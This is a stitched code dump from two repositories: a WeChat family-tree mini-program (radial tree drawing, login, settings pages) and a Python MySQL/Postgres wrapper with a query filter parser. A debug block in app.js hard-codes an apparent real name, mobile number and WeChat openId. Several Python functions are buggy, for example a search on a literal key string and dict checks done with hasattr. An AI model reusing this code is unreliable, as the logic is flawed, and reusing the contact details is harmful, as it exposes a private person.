_this.data.ctx.drawImage(
pres.data.path,
0, 0,//开始剪切的 x 坐标位置。
pres.data.width, pres.data.height, //被剪切图像的高度。
_this.data.base_line.x / (9 / (_this.data.levels)), _this.data.base_line.y / (9 / (_this.data.levels)),
_this.data.base_line.w / (9 / (_this.data.levels)), _this.data.base_line.h / (9 / (_this.data.levels))
);
}
}
_this.data.ctx.draw(true, setTimeout(() => {
_this.fixImage()
_this.data.ctx.restore();
}, 0));
})
} else {
_this.data.ctx.draw(true, setTimeout(() => {
_this.fixImage()
_this.data.ctx.restore();
}, 0));
}
}
},
count_child: function (children, levels){
var _this = this;
var t_count = 0;
levels = levels ? levels : 0;
if (!is_empty(children) && levels < (_this.data.levels + 1) / 2) {
var clen = children.length
for (var i=0;i<clen;i++){
var t_c = children[i]
if (!is_empty(t_c)){
if (!is_empty(t_c.children)) {
t_count += (levels < (_this.data.levels - 1) / 2 ? _this.count_child(t_c.children, levels + 1) : 1);
} else {
t_count++;
}
}
}
}
return t_count
},
draw_parent: function (father, level, position_father) {
var _this=this
if (_this.data.ctx) {
if (father && level <= (((_this.data.levels - 1) / 2) - 1)) {
var linked_father = false;
var len = 1 + (father.partners ? father.partners.length : 0);
var angle_pice = 30;//360/(len*2);父辈固定30度
var draw_obj = {
name: father.firstname + father.lastname,
id: father.id,
sex: father.gender == "M" ? 1 : 2,
sort: father.childOrder,
isLiving: father.isLiving,
father: father.father,
mother: father.mother,
isFather: true,
angle: angle_pice,
level: (((_this.data.levels - 1) / 2) - 1) - level,
isSave: father.isSave ? true : false,
isShare: father.isShare ? true : false,
isDele: father.isDele ? true : false,
isUpdate: father.isUpdate ? true : false,
}
var p_f_l = draw_obj.level == 1 ? 0 : ((draw_obj.level + 0.5) * _this.data.space_width);
var p_f_y = (_this.data.space_width * (_this.data.levels)) - (p_f_l * Math.sin(2 * Math.PI * draw_obj.angle / 360));
var p_f_x = (_this.data.space_width * (_this.data.levels)) + (p_f_l * Math.cos(2 * Math.PI * draw_obj.angle / 360));
var p_f = { x: p_f_x, y: p_f_y };
if (level <= (((_this.data.levels - 1) / 2) - 2) && father.partners) {
var partner_angle = _this.data.name_width * 180 / ((((_this.data.levels - 1) / 2) - 0.5 - level) * _this.data.space_width * Math.PI * 1.6)
for (var i = father.partners.length - 1; i >= 0; i--) {//逆排,防止遮盖
var m_draw_obj = {
name: father.partners[i].firstname + father.partners[i].lastname,
id: father.partners[i].id,
sex: father.partners[i].gender == "M" ? 1 : 2,
isLiving: father.partners[i].isLiving,
father: father.partners[i].father,
mother: father.partners[i].mother,
angle: angle_pice + (i + 1) * partner_angle,
level: (((_this.data.levels - 1) / 2) - 1) - level,
isSave: father.partners[i].isSave ? true : false,
isShare: father.partners[i].isShare ? true : false,
isDele: father.partners[i].isDele ? true : false,
isUpdate: father.partners[i].isUpdate ? true : false,
}
_this.add_item(m_draw_obj);
}
}
_this.add_item(draw_obj);
_this.draw_parent(father.father, level + 1, p_f)
}
}
},
draw_child: function (all_count, children, angle_start, angle_end, level, position_father) {
var _this = this
if (_this.data.ctx) {
if (children && level < ((_this.data.levels + 1) / 2)) {
var bl_start = null;
var bl_end = null;
var linked_father = false;
var clen = children.length;
for (var idx = 0; idx < clen; idx++) {
var t_count = 1;
var val = children[idx];
if (val.children) {
var ct_count = _this.count_child(val.children, level + 1);
t_count = ct_count > 0 ? ct_count : t_count;
}
var t_angle = 360 * t_count / all_count;
//插入展示数据开始
var angle_with = t_angle * Math.PI * ((level + ((_this.data.levels - 1) / 2) + 0.5) * _this.data.space_width) / 180;
var len = 1 + (val.partners ? val.partners.length : 0);
var show_all_member = false;
var show_full_name = true;
if ((angle_with / len) > 60) {
show_all_member = true;
show_full_name = true;
} else if ((angle_with / len) > 20) {
//show_full_name = false;
} else if (angle_with > 60) {
show_full_name = true;
} else {
}
var angle_pice = t_angle / 2;
if (show_all_member) {
angle_pice = t_angle / (len * 2);
}
var draw_obj = {
name: show_full_name ? (val.firstname + val.lastname) : val.firstname,
id: val.id,
sex: val.gender == "M" ? 1 : 2,
sort: val.childOrder,
isLiving: val.isLiving,
father: val.father,
mother: val.mother,
isFather: false,
//angle:angle_start + angle_pice,
angle: angle_start + (360 / all_count / 2),
level: level + ((_this.data.levels - 1) / 2),
isSave: val.isSave ? true : false,
isShare: val.isShare ? true : false,
isDele: val.isDele ? true : false,
isUpdate: val.isUpdate ? true : false,
}
var p_f_l = (draw_obj.level + 0.5) * _this.data.space_width;
var p_f_y = (_this.data.space_width * (_this.data.levels)) - (p_f_l * Math.sin(2 * Math.PI * draw_obj.angle / 360));
var p_f_x = (_this.data.space_width * (_this.data.levels)) + (p_f_l * Math.cos(2 * Math.PI * draw_obj.angle / 360));
var p_f = { x: p_f_x, y: p_f_y };
if (!linked_father && position_father) {
linked_father = true;
_this.data.ctx.beginPath();
_this.data.ctx.strokeStyle = 'rgba(255,255,255,1)';
_this.data.ctx.moveTo(position_father.x, position_father.y);
_this.data.ctx.lineTo(p_f.x, p_f.y);
_this.data.ctx.closePath();
_this.data.ctx.stroke();
//_this.data.ctx.draw();
}
if (bl_start !== null) {
bl_end = draw_obj.angle;
} else {
bl_start = bl_end = draw_obj.angle;
}
if (show_all_member) {
if (val.partners) {
var partner_angle = _this.data.name_width * 180 / ((((_this.data.levels - 1) / 2) + 0.5 + level) * _this.data.space_width * Math.PI * 1.6)
for (var i = val.partners.length - 1; i >= 0; i--) {//逆排,防止遮盖
var m_draw_obj = {
name: show_full_name ? (val.partners[i].firstname + val.partners[i].lastname) : val.partners[i].firstname,
id: val.partners[i].id,
sex: val.partners[i].gender == "M" ? 1 : 2,
isLiving: val.partners[i].isLiving,
father: val.partners[i].father,
mother: val.partners[i].mother,
angle: angle_start + (360 / all_count / 2) + (i + 1) * partner_angle,
level: level + ((_this.data.levels - 1) / 2),
isSave: val.partners[i].isSave ? true : false,
isShare: val.partners[i].isShare ? true : false,
isDele: val.partners[i].isDele ? true : false,
isUpdate: val.partners[i].isUpdate ? true : false,
}
_this.add_item(m_draw_obj);
}
}
}
_this.add_item(draw_obj);
_this.draw_child(all_count, val.children, angle_start, t_angle + angle_start, level + 1, p_f);
angle_start = t_angle + angle_start;
};
if (bl_start != bl_end) {
_this.data.ctx.beginPath();
if (level == 0) {
_this.data.ctx.strokeStyle = 'rgba(164,105,79,1)';
} else {
_this.data.ctx.strokeStyle = 'rgba(255,255,255,1)';
}
_this.data.ctx.arc((_this.data.space_width * (_this.data.levels)), (_this.data.space_width * (_this.data.levels)), (level + ((_this.data.levels - 1) / 2) + 0.5) * _this.data.space_width, 2 * Math.PI * (360 - bl_start) / 360, 2 * Math.PI * (360 - bl_end) / 360, true);
_this.data.ctx.stroke();
//_this.data.ctx.draw();
}
}
}
},
add_item: function (obj){
var _this = this
var l = obj.level == 0 ? 0 : ((obj.level + 0.5) * _this.data.space_width);
var y = l * Math.sin(2 * Math.PI * obj.angle / 360);
var x = l * Math.cos(2 * Math.PI * obj.angle / 360);
var member_css = extendObj([{}, obj.isLiving ? (obj.sex ? (obj.sex == 1 ? ((obj.sort == 1 && !obj.isFather) ? _this.data.member_man_sort1_css : _this.data.member_man_css) : (obj.sex == 2 ? ((obj.sort == 1 && !obj.isFather) ? _this.data.member_female_sort1_css : _this.data.member_female_css) : _this.data.member_unknow_css)) : _this.data.member_base_css) : _this.data.member_died_css, { top: (_this.data.space_width * (_this.data.levels)) - y - (_this.data.name_height * (obj.level == 0 ? 0.75 : 0.5)), left: (_this.data.space_width * (_this.data.levels)) + x - (_this.data.name_width * (obj.level == 0 ?0.75:0.5))}, (obj.level == 0 ? { width: (_this.data.name_width * 1.5), height: (_this.data.name_height * 1.5), borderRadius: (_this.data.name_height * 1.5 / 2) , fontSize: (_this.data.name_fontsize * 1.5), lineHeight: (_this.data.name_height * 1.5) } : {})])
var member_info = extendObj([{},obj,{css:member_css}])
_this.setData({
member_list: _this.data.member_list.concat([member_info])
});
if (obj.id == _this.data.member_data.id) {
var rotate = obj.angle + 90;
rotate = rotate > 360 ? rotate - 360 : rotate;
rotate = rotate < -360 ? rotate + 360 : rotate;
_this.setData({
rotate:rotate,
jiapu_circle_css: extendObj([{}, _this.data.jiapu_circle_css, {
rotate: rotate
}])
})
}
},
inputgetName(e) {
var name = e.currentTarget.dataset.name;
var nameMap = {}
if (name.indexOf('.')) {
var nameList = name.split('.')
if (this.data[nameList[0]]) {
nameMap[nameList[0]] = this.data[nameList[0]]
} else {
nameMap[nameList[0]] = {}
}
nameMap[nameList[0]][nameList[1]] = e.detail.value
} else {
nameMap[name] = e.detail.value
}
this.setData(nameMap)
}
}
})<file_sep>//app.js
import {
extendObj, doPost,is_empty
} from "./utils/util.js"
const config = require("./config.js")
App({
onLaunch: function () {
var _this = this
if (config.debug) {
var res = {
code: 0,
data: {
"openId": "o3FxX45185oyUmic9QGLHfpgr27c",
"user": [
{
//"id": "152e4898-2166-41a3-bb2c-f06f93efe7e0",
"id": "b0549ae6-97a5-<PASSWORD>",
"familyId": 17053,
"name": "刘鑫",
"account": "<KEY>",
"mobile": "15874871105",
"headImg": "http://qiniu.mmxp5000.com/user/head/0030ffa97e0512490c8aa375c89e4e6a.png"
}
]
},
msg: "成功"
}
var userinfo = res.data.user[0];
_this.globalData.userInfo = extendObj([{}, _this.globalData.userInfo, {
openid: res.data.openId,
userid: userinfo.id,
familyid: userinfo.familyId,
nickName: userinfo.name ? userinfo.name : _this.globalData.userInfo.nickName,
account: userinfo.account,
mobile: userinfo.mobile,
avatarUrl: userinfo.headImg ? userinfo.headImg : _this.globalData.userInfo.avatarUrl,
childOrder: userinfo.childOrder ? userinfo.childOrder : '',
}])
if (_this.userInfoReadyCallback) {
_this.userInfoReadyCallback(res)
}
} else {
_this.getUserInfo(function (res) {
if (res.code == 0 && res.data.user.length == 1) {
var userinfo = res.data.user[0];
_this.globalData.userInfo = extendObj([{}, _this.globalData.userInfo, {
userid: userinfo.id,
familyid: userinfo.familyId,
nickName: userinfo.name ? userinfo.name : _this.globalData.userInfo.nickName,
account: userinfo.account,
mobile: userinfo.mobile,
avatarUrl: userinfo.headImg ? userinfo.headImg : _this.globalData.userInfo.avatarUrl,
childOrder: userinfo.childOrder ? userinfo.childOrder : '',
}])
}
if (_this.userInfoReadyCallback) {
_this.userInfoReadyCallback(res)
}
})
}
// 获取用户信息
wx.getSetting({
success: res => {
if (res.authSetting['scope.userInfo']) {
// 已经授权,可以直接调用 getUserInfo 获取头像昵称,不会弹框
wx.getUserInfo({
success: res => {
// 可以将 res 发送给后台解码出 unionId
_this.globalData.userInfo = extendObj([{}, _this.globalData.userInfo, {
nickName: _this.globalData.userInfo.nickName ? _this.globalData.userInfo.nickName : res.userInfo.nickName,
avatarUrl: _this.globalData.userInfo.avatarUrl ? _this.globalData.userInfo.avatarUrl : res.userInfo.avatarUrl,
wxNickName: _this.globalData.userInfo.wxNickName ? _this.globalData.userInfo.wxNickName : res.userInfo.nickName,
wxAvatarUrl: _this.globalData.userInfo.wxAvatarUrl ? _this.globalData.userInfo.wxAvatarUrl : res.userInfo.avatarUrl,
wxInfoAuth:true
}])
}
})
}else{
}
}
})
//wx.setStorageSync('logs', logs)
//更新版本
const updateManager = wx.getUpdateManager()
updateManager.onCheckForUpdate(function (res) {
console.log('发现更新',res)
})
updateManager.onUpdateReady(function () {
wx.showModal({
title: '更新提示',
content: '新版本已经准备好,是否重启应用?',
success: function (res) {
if (res.confirm) {
updateManager.applyUpdate()
}
}
})
})
updateManager.onUpdateFailed(function (res) {
console.log('更新失败',res)
})
},
getUserInfo: function (func_callback) {
var _this = this
// 登录
wx.login({
success: res => {
doPost('/wx/user/loginByCode', { code: res.code }, function (res) {
//返回openid
if (!is_empty(res.data) && !is_empty(res.data.openId)) {
_this.globalData.userInfo.openid = res.data.openId
}
if(func_callback instanceof Function){
func_callback(res)
}
})
}
})
},
globalData: {
userInfo: {
userid:"",
familyid:0,
openid:"",
nickName: "",
account: "",
mobile: "",
avatarUrl:"",
childOrder:'',
wxNickName: '',
wxAvatarUrl: '',
wxInfoAuth:false,
}
}
})<file_sep>// pages/security_setting/security_setting.js
import {
extendObj, is_empty, is_number, doPost, showToast
} from "../../utils/util.js"
const config = require("../../config.js")
const app = getApp()
var commonMixin = require('../../utils/commonMixin.js')
Page({
/**
* 页面的初始数据
*/
data: {
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function (options) {
let _this = this;
let tel = app.globalData.userInfo.mobile;
let nickName = app.globalData.userInfo.nickName;
_this.setData({ nickName: nickName, tel: tel==''?'未绑定手机':tel})
},
//绑定微信获取用户信息
bindWeChat:function(e){
let _this = this;
wx.showModal({
title: '提示',
content: '是否确认绑定微信',
showCancel: true,
success: function(res) {
if (res.confirm) {
doPost("/wx/user/bindAccount", {
openId: app.globalData.userInfo.openid, //微信openIdf
id: app.globalData.userInfo.userid, //用户id
bindFlag: 1 + '', //绑定标识
}, function (res) {
console.log(res)
if (res.code == 0) {
showToast('绑定微信成功')
} else {
showToast(res.msg)
}
})
} else if (res.cancel) {
}
},
})
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
//onShareAppMessage: function () {
//}
})<file_sep>// pages/setting/setting.js
import {
extendObj, is_empty, is_number, doUpload
} from "../../utils/util.js"
const config = require("../../config.js")
const app = getApp()
Page({
/**
* 页面的初始数据
*/
data: {
baseOss: config.baseOss,
alert: null,
setting:{
space:1,
avatar:app.globalData.userInfo.avatarUrl,
},
is_ok:false
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function (options) {
var _this = this
if (is_empty(app.globalData.userInfo.userid)) {
wx.redirectTo({
url: '../login/login'
})
}
_this.data.alert = _this.selectComponent("#alert");
},
changeAvatar:function(){
var _this = this;
wx.chooseImage({
count: 1,
sizeType: ['original', 'compressed'],
sourceType: ['album', 'camera'],
success(res) {
// tempFilePath可以作为img标签的src属性显示图片
const tempFilePath = res.tempFilePaths[0]
if (tempFilePath) {
_this.data.alert.imageSelect(tempFilePath, true, function (tImageFile) {
//上传文件到服务器功能开始
doUpload('/user/uploadHeadImg', 'headImg', tImageFile, {
userId: app.globalData.userInfo.userid
}, function (res) {
if (res.code == 0) {
app.globalData.userInfo.avatarUrl = res.data;
_this.setData({
['setting.avatar']: res.data
})
wx.showToast({
title: '头像更改成功',
icon: 'success',
duration: 2000
})
} else {
_this.data.alert.tips(res.msg, 2000);
}
})
});
} else {
_this.data.alert.tips("请选择图片", 2000);
}
}
})
},
logout: function () {
app.globalData.userInfo.userid = "";
app.globalData.userInfo.account = "";
app.globalData.userInfo.mobile = "";
app.globalData.userInfo.nickName = "";
//app.globalData.userInfo.avatarUrl = "";
wx.redirectTo({
url: '../login/login'
})
},
//页面跳转
taoZhuan:function(e){
console.log(e);
let url = e.currentTarget.dataset.url;
wx.navigateTo({
url: url,
})
},
//是否公开
changeSpace:function(e){
let _this = this;
console.log(e);
let value = e.detail.value;
_this.setData({
setting:{
space: value,
avatar:app.globalData.userInfo.avatarUrl,
},
})
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
var _this = this;
_this.setData({
alert: _this.selectComponent("#alert"),
setting: {
avatar: app.globalData.userInfo.avatarUrl,
},
})
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
//onShareAppMessage: function () {
//}
})
|
c2efcb3195db1804fd3159dc94c8c8b7ee8d71f9
|
[
"JavaScript"
] | 23 |
JavaScript
|
zly1988203/family-tree
|
e6870fdce7935296f701b1499e6ff885421e6108
|
c82f8c61fb0db84b8709814beebbfe24464bb438
|
refs/heads/master
|
<repo_name>jeremielodi/python_mysql<file_sep>/db/database.py
import os
import uuid
from db.query_result import QueryResult
db_type = os.getenv('DB_TYPE')
if db_type == 'postgres':
from db.pg import Database as DB
elif db_type == 'mysql':
from db.mysql import Database as DB
else :
raise ValueError('Invalid database type, fixe .env DB_TYPE variable')
class Database(DB) :
def __init__(self):
super().__init__()
def select(self, sql, values=[]) :
return self.toResult(super().select(sql, values));
def insert(self, tableName, record) :
return self.toResult(super().save(tableName, record));
def one(self, sql, values=[]) :
return self.toResult(super().one( sql, values));
def update(self, tableName, record, key, value) :
return self.toResult(super().update(tableName, record, key, value));
def delete(self, tableName, key, value) :
return self.toResult(super().delete(tableName, key, value));
def transaction(self):
return super().transaction()
# generate a uniq key, a binary key
def uuid(self):
return uuid.uuid4().bytes
# generate a uniq key, a String key
def uuid_string(self):
return uuid.uuid4()
# convert string value to binary
def bid(self, _val):
return uuid.UUID(_val).bytes
# convert data keys to binary, data is an array
def convert(self, data, keys):
for k in keys:
if hasattr(data, k):
data[k] = self.bid(data[k])
return data
def toResult(self, rs):
qrs = QueryResult();
return qrs.from_obj(rs)
def status(self):
return self.conn_status;<file_sep>/sql/pg/create-schema.sql
create table client
(
id SERIAL PRIMARY KEY not null,
name varchar not null,
dateOfBirth date,
age integer ,
uuid varchar(40),
height float,
constraint prf_name_uk unique (name)
);
grant select on table client to postgres;
ALTER TABLE public.client OWNER TO postgres;
<file_sep>/test2_select_one.py
from settup_env import EnvironementSettup
EnvironementSettup();
from db.database import Database
_db = Database()
if _db.conn_status :
clients = _db.one('''
SELECT id, name, dateOfBirth, height, age
FROM client
WHERE id=?
''', ["4"])
Result = clients;
# print(Result.status, Result.rows, Result.error_number, Result.msg)
print(Result.rows)
<file_sep>/db/mysql.py
import mysql.connector
from mysql.connector import pooling
from .util import Util
from .query_result import QueryResult
import os
class Database:
def __init__(self):
# creating a mysql connection
self.conn_status = False
self.conn = self.create_connection()
self.util = Util()
def create_connection(self):
if((not hasattr(self, 'conn')) or (not self.conn.is_connected())):
try:
connection_pool = pooling.MySQLConnectionPool(
pool_name="pynative_pool",
pool_size=20,
host = os.getenv("DB_HOST"), # host
user = os.getenv('DB_USER'), # use your mysql user name
password = <PASSWORD>('<PASSWORD>'), # use your mysql user passw<PASSWORD>
port = os.getenv('DB_PORT'),
database = os.getenv('DB_NAME'))
self.conn = connection_pool.get_connection()
self.conn_status = True
return self.conn
except mysql.connector.Error as error:
self.conn_status = False
result = {
"msg" : error.__dict__.get('_full_msg'),
"error_number" : error.__dict__.get('errno') or None
},
print(result)
return result
return None
def connect(self):
self.create_connection()
# selection data from database
def select(self, sql, values=[]):
rs = QueryResult()
rs.status = False # result
try:
mycursor = self.conn.cursor()
sql = sql.replace("?", "%s")
mycursor.execute(sql, values)
values = mycursor.fetchall()
colums = mycursor.column_names
rs.status = True
rs.rows = self.util.bind_keys_values(colums, values)
return rs;
except mysql.connector.Error as error:
rs.msg = error.msg
rs.error_number = error.errno
return rs
finally:
mycursor.close()
# record is a dictionnary
def insert(self, tableName, record):
rqt = self.util.format_insert(tableName, record)
return self.execute(rqt['query'], rqt['params'])
def save(self, tableName, record):
return self.insert(tableName, record)
# record is a dictionnary
def update(self, tableName, record, key, value):
rqt = self.util.format_update(tableName, record, key, value)
return self.execute(rqt['query'], rqt['params'])
# delete record in the database
def delete(self, tableName, key, value):
rqt = self.util.format_delete(tableName, key, value)
return self.execute(rqt['query'], rqt['params'])
# delete record in the database
def remove(self, tableName, key, value):
return self.delete(tableName, key, value)
# add(insert) or update data in the database
# return { status, lastrowid, msg }
def execute(self, sql, values=[]):
mycursor = self.conn.cursor()
rs = QueryResult()
rs.status = False # result
try:
sql = sql.replace("?", "%s")
mycursor.execute(sql, values)
self.conn.commit()
rs.status = True
rs.lastrowid = mycursor.lastrowid or None,
rs.affected_rows = mycursor.rowcount or 0
return rs;
except (mysql.connector.Error, RuntimeError, TypeError, NameError) as error:
rs.msg= error.__dict__.get('_full_msg')
rs.error_number = error.__dict__.get('errno') or None
return rs;
finally:
mycursor.close()
# add(insert) or update data in the database
def execute_update(self, sql, values=[]):
return self.execute(sql, values)
# select rows from the database
# return an array(list) is the request is well executed
# return a dist when something o wrong
# retrieve the first record from the result
def one(self, sql, params):
result = self.select(sql, params)
if len(result.rows) > 0 :
result.record = result.rows[0]
else :
result.status = False;
return result;
# start transaction
def transaction(self):
return Transaction(self.conn)
# return connection property
def connection(self):
return self.conn
# close the connection with mysql
def close(self):
if(self.conn.is_connected()):
self.conn_status = False;
self.conn.close()
# everify table'ENGINE must be InnoDB in order to use mysql transaction
class Transaction:
def __init__(self, conn):
self.conn = conn
self.queries = []
self.util = Util()
# add more query for the transactions
def add_query(self, query, params):
self.queries.append({"query": query, "params": params})
# add more query for the transactions
# record is a dictionnary
def add_insert_query(self, tableName, record):
rqt = self.util.format_insert(tableName, record)
self.queries.append(rqt)
# add more query for the transactions
# and update query
def add_update_query(self, tableName, record, key, val):
rqt = self.util.format_update(tableName, record, key, val)
self.queries.append(rqt)
# add more query for the transactions
# a delete query
def add_delete_query(self, tableName, key, value):
rqt = self.util.format_delete(tableName, key, value)
self.queries.append(rqt)
# excute all queries
def execute(self):
result = []
self.conn.autocommit = False
cursor = self.conn.cursor()
try:
# execute each query
for rqt in self.queries:
sql = rqt['query'].replace("?", "%s")
params = rqt['params']
cursor.execute(sql, params)
rs = QueryResult()
rs.affected_rows = cursor.rowcount or None;
rs.lastrowid = cursor.lastrowid or None;
rs.status = rs.affected_rows > 0;
result.append(rs)
self.conn.commit()
# Commit your changes
return {
"commited" : True,
"results" : result
}
except mysql.connector.Error as error:
self.conn.rollback()
rs = QueryResult()
rs.msg = error.msg
rs.msg = error.errno
return {
"commited" : False,
"results" : [rs]
}
finally:
if(self.conn.is_connected()):
cursor.close()
<file_sep>/settup_env.py
from dotenv import load_dotenv
from pathlib import Path
class EnvironementSettup:
def __init__(self):
dotenv_path = Path('.env')
load_dotenv(dotenv_path=dotenv_path)
<file_sep>/test3_filter.py
from settup_env import EnvironementSettup
EnvironementSettup();
from db.filterParser import FilterParser
from db.database import Database
sqlSource = '''
SELECT c.id, c.name, c.dateOfBirth
FROM client c
'''
# specify here fields to compare
options = {
"limit" : 12,
"name" : "yannick122",
"dateOfBirth" : '2019-12-05'
}
filter = FilterParser(options, { "tableAlias" : 'c' })
filter.equals("id")
filter.equals("name")
filter.dateFrom('dateOfBirth')
sql = filter.applyQuery(sqlSource)
params = filter.parameters()
_db = Database()
clients = _db.select(sql, params)
print(clients.rows)<file_sep>/sql/pg/create-db.sql
--\encoding utf-8
/*
DROP role if exists fac_db_user;
create role fac_db_user;
create role schema_owner login password '<PASSWORD>';
-- Utilisateur qui doit être utilisé par l'application pour se connecter à la BdD.
create role fac_app login password '<PASSWORD>' in role fac_db_user;
create database factures01 with owner = schema_owner encoding = 'UTF8';
create extension unaccent;
revoke all on schema public from public;
grant all on schema public to schema_owner;
grant usage on schema public to fac_db_user;
*/
<file_sep>/db/util.py
from hashlib import sha1
from datetime import datetime, date
class Util :
def escape(self, val):
if type(val) == bytes :
return val
else:
return str(val)
#data should a dictionnary
def format_insert(self, tableName, data):
cols = ""
vals = ""
keys = data.keys()
nCol = len(keys)
record = []
i = 1
for k in keys:
cols = cols + "" + k + ""
vals = vals + "%s"
record.append(self.escape(data[k]))
if i != nCol:
cols = cols + " ,"
vals = vals + " ,"
i = i + 1
sql = "INSERT INTO " + tableName + "(" + cols + ") VALUES(" + vals + ")" + ";"
return { "query" : sql, "params" : record }
#data should a dictionnary
def format_update(self, tableName, data, primaryKey, value):
vals = ""
keys = data.keys()
nCol = len(keys)
record = []
i = 1
for k in keys:
vals = vals + k +" = %s"
record.append(self.escape(data[k]))
if i != nCol:
vals = vals + " ,"
i = i + 1
# add the key's value into parameters
record.append(self.escape(value))
sql = "UPDATE " + tableName + " SET " + vals + " WHERE " + primaryKey + "=%s"
return { "query" : sql, "params" : record }
def format_delete(self, tableName, key, value):
sql = "DELETE FROM " + tableName + " WHERE " + key + "=%s"
return { "query" : sql, "params" : [self.escape(value)] }
def bind_keys_values(self, keys, values):
rows = []
for r in values:
record = {}
j = 0
for col in keys:
record[col] = self.format_field(r[j])
j = j + 1
rows.append(record)
return rows
def to_sha1(self, value):
sha_1 = sha1()
sha_1.update(value.encode('utf8'))
return sha_1.hexdigest()
def is_decimal(self, value) :
try :
float(value)
return True
except :
pass
return False;
def format_field(self, value) :
if type(value) is date or type(value) is datetime:
return f"{value}"
elif type(value) is int:
return value
elif self.is_decimal(value) :
return float(value)
else :
return value
<file_sep>/test2_select.py
from db.query_result import QueryResult
from settup_env import EnvironementSettup
EnvironementSettup();
from db.database import Database
from db.period import PeriodService
_db = Database()
if _db.status() :
clients = _db.select('''
SELECT id, name, dateOfBirth, height, age
FROM client
''')
Result = clients;
# print(Result.status, Result.rows, Result.error_number, Result.msg)
print(Result.rows)
<file_sep>/db/filterParser.py
# eslint class-methods-use-this:off #
from .period import PeriodService
import copy
RESERVED_KEYWORDS = ['limit', 'detailed']
DEFAULT_LIMIT_KEY = 'limit'
DEFAULT_UUID_PARTIAL_KEY = 'uuid'
'''
@class FilterParser
@description
This library provides a uniform interface for processing filter `options`
sent from the client to server controllers.
It providers helper methods for commonly request filters like date restrictions
and standardises the conversion to valid SQL.
It implements a number of built in 'Filter Types' that allow column qurries
to be formatted for tasks that are frequently required.
Supported Filter Types:
equals - a direct comparison
text - search for text contained within a text field
dateFrom - limit the query to records from a date
dateTo - limit the query to records up until a date
@requires lodash
@requires moment
'''
class FilterParser:
# options that are used by all routes that shouldn't be considered unique filters
def __init__(self, filters = {}, options = {}):
# stores for processing options
self._statements = []
self._parameters = []
self._filters = copy.copy(filters)
# configure default options
self._tableAlias = options.get('tableAlias') or None
self._limitKey = options.get('limitKey') or DEFAULT_LIMIT_KEY
self._order = ''
self._parseUuids = True if hasattr(options, 'parseUuids') else options.get('parseUuids')
self._autoParseStatements = False if hasattr(options, 'autoParseStatements') else options.get('autoParseStatements')
self._group = ''
'''
@method text
@description
filter by text value, searches for value anywhere in the database attribute
alias for _addFilter method
@param {String} filterKey key attribute on filter object to be used in filter
@param {String} columnAlias column to be used in filter query. This will default to
the filterKey if not set
@param {String} tableAlias table to be used in filter query. This will default to
the object table alias if it exists
'''
def fullText(self, filterKey, columnAlias=None, tableAlias=None) :
columnAlias = filterKey if not columnAlias else columnAlias
tableAlias = self._tableAlias if not tableAlias else tableAlias
tableString = self._formatTableAlias(tableAlias)
if self._filters.__contains__(filterKey) :
searchString = "%" + self._filters.get("filterKey")
preparedStatement = "LOWER(" + tableString + columnAlias + ") LIKE ? "
self._addFilter(preparedStatement, searchString)
del self._filters[filterKey]
def period(self, filterKey, columnAlias=None, tableAlias=None):
columnAlias = filterKey if not columnAlias else columnAlias
tableAlias = self._tableAlias if not tableAlias else tableAlias
tableString = self._formatTableAlias(tableAlias)
if self._filters.__contains__(filterKey) :
#if a client timestamp has been passed - this will be passed in here
period = PeriodService(self._filters.get('client_timestamp'))
targetPeriod = period.lookupPeriod(self._filters[filterKey])
# specific base case - if all time requested to not apply a date filter
if ( filterKey == 'allTime') or (filterKey == 'custom') :
del self._filters[filterKey]
return
# st.get('limit')
periodFromStatement = 'DATE(' + tableString + columnAlias + ') >= DATE(?)'
periodToStatement = 'DATE(' + tableString + columnAlias + ') <= DATE(?)'
self._addFilter(periodFromStatement, targetPeriod.get('limit').get('start'))
self._addFilter(periodToStatement, targetPeriod.get('limit').get('end'))
del self._filters[filterKey]
'''
@method dateFrom
@param {String} filterKey key attribute on filter object to be used in filter
@param {String} columnAlias column to be used in filter query. This will default to
the filterKey if not set
@param {String} tableAlias table to be used in filter query. This will default to
the object table alias if it exists
'''
def dateFrom(self, filterKey, columnAlias=None, tableAlias=None) :
columnAlias = filterKey if not columnAlias else columnAlias
tableAlias = self._tableAlias if not tableAlias else tableAlias
tableString = self._formatTableAlias(tableAlias)
if self._filters.__contains__(filterKey) :
timestamp = self._filters[filterKey]
preparedStatement = "DATE("+tableString + columnAlias +") >= DATE(?)"
day = PeriodService(timestamp).lookupPeriod('today').get('limit').get('start')
self._addFilter(preparedStatement, day)
del self._filters[filterKey]
'''
@method dateTo
@param {String} filterKey key attribute on filter object to be used in filter
@param {String} columnAlias column to be used in filter query. This will default to
the filterKey if not set
@param {String} tableAlias table to be used in filter query. This will default to
the object table alias if it exists
'''
def dateTo(self, filterKey, columnAlias= None, tableAlias = None) :
columnAlias = filterKey if not columnAlias else columnAlias
tableAlias = self._tableAlias if not tableAlias else tableAlias
tableString = self._formatTableAlias(tableAlias)
timestamp = self._filters[filterKey]
if hasattr(self._filters, filterKey) :
preparedStatement = "DATE("+ tableString + columnAlias + ") <= DATE(?)"
day = PeriodService(timestamp).lookupPeriod('today').get('limit').get('start')
self._addFilter(preparedStatement, day)
del self._filters[filterKey]
def equals(self, filterKey, columnAlias = None, tableAlias = None, isArray = False) :
columnAlias = filterKey if not columnAlias else columnAlias
tableAlias = self._tableAlias if not tableAlias else tableAlias
tableString = self._formatTableAlias(tableAlias)
if self._filters.__contains__(filterKey) :
valueString = '?'
preparedStatement = ''
if isArray : # search in a list of values, example : where id in (1,2,3)
preparedStatement = "" + tableString + columnAlias + " IN (" + valueString +")"
else : # seach equals one value , example : where id = 2
preparedStatement = tableString + columnAlias +" = " + valueString
